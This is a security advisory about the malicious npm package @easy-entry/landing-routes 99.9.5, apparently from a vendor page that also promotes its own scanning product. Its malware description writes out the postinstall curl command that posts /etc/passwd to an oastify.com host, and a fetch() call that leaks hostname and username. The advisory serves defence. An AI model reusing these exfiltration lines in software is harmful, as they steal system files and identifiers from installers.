Which versions of @easy-entry/landing-routes are malicious?

The following npm versions of @easy-entry/landing-routes are flagged malicious: 99.9.5. Treat any of these as compromised.

How do I remediate @easy-entry/landing-routes if I installed it?

@easy-entry/landing-routes is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.

I already installed @easy-entry/landing-routes — how do I know if it already compromised me?

If @easy-entry/landing-routes was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

Is @easy-entry/landing-routes part of a known attack campaign?

Yes — @easy-entry/landing-routes is associated with the IN-MAL-2026-005019, IN-MAL-2026-005020 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find @easy-entry/landing-routes across my projects, lockfiles, and CI pipelines?

Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for @easy-entry/landing-routes (version 99.9.5). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging @easy-entry/landing-routes across your stack and pipelines.

Malicious package

@easy-entry/landing-routesnpm

Malicious code in @easy-entry/landing-routes (npm) Remove it immediately and rotate any exposed credentials.

MAL-2026-5408

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall @easy-entry/landing-routes

What this malware does

On npm install, the package's postinstall hook runs two exfiltration paths against an attacker-controlled Burp Collaborator endpoint. First, package.json line 4 invokes /usr/bin/curl --data '@/etc/passwd' $(hostname).200hj786m7x4kfz1lkr4kmshu80zoqcf.oastify.com, posting the installer's /etc/passwd to a DNS-logging subdomain that encodes the victim's hostname. Second, scripts/scream3gg.js reads os.hostname(), os.homedir(), and os.userInfo().username, hex-encodes them, and issues fetch('http://' + safeData + '.nmd25sur8sjp60lm75dp67e2gtmkaayz.oastify.com'), leaking host identifiers via DNS+HTTP. Both paths fire automatically on default install with no opt-in.

Malicious versions

1 flagged

99.9.5

Indicators of compromise (SHA-256)

16fd1aa3384490a5c01cbdc619bb61ea5fc70f853c8e8ed2e9836d2ca4617556

1cba0345cf355b11407a4df4920609c18b072e0c993445f86484813768961369

Detection & response playbook

Credential / info stealer

Find it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for @easy-entry/landing-routes (version 99.9.5). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging @easy-entry/landing-routes across your stack and pipelines.
If you installed it — respond
@easy-entry/landing-routes is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If @easy-entry/landing-routes was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks @easy-entry/landing-routes before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. @easy-entry/landing-routes on npm has been identified as a malicious package (version 99.9.5 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-005019IN-MAL-2026-005020

References

npmjs.com

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks @easy-entry/landing-routes-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.

Malware detection Runtime egress monitoring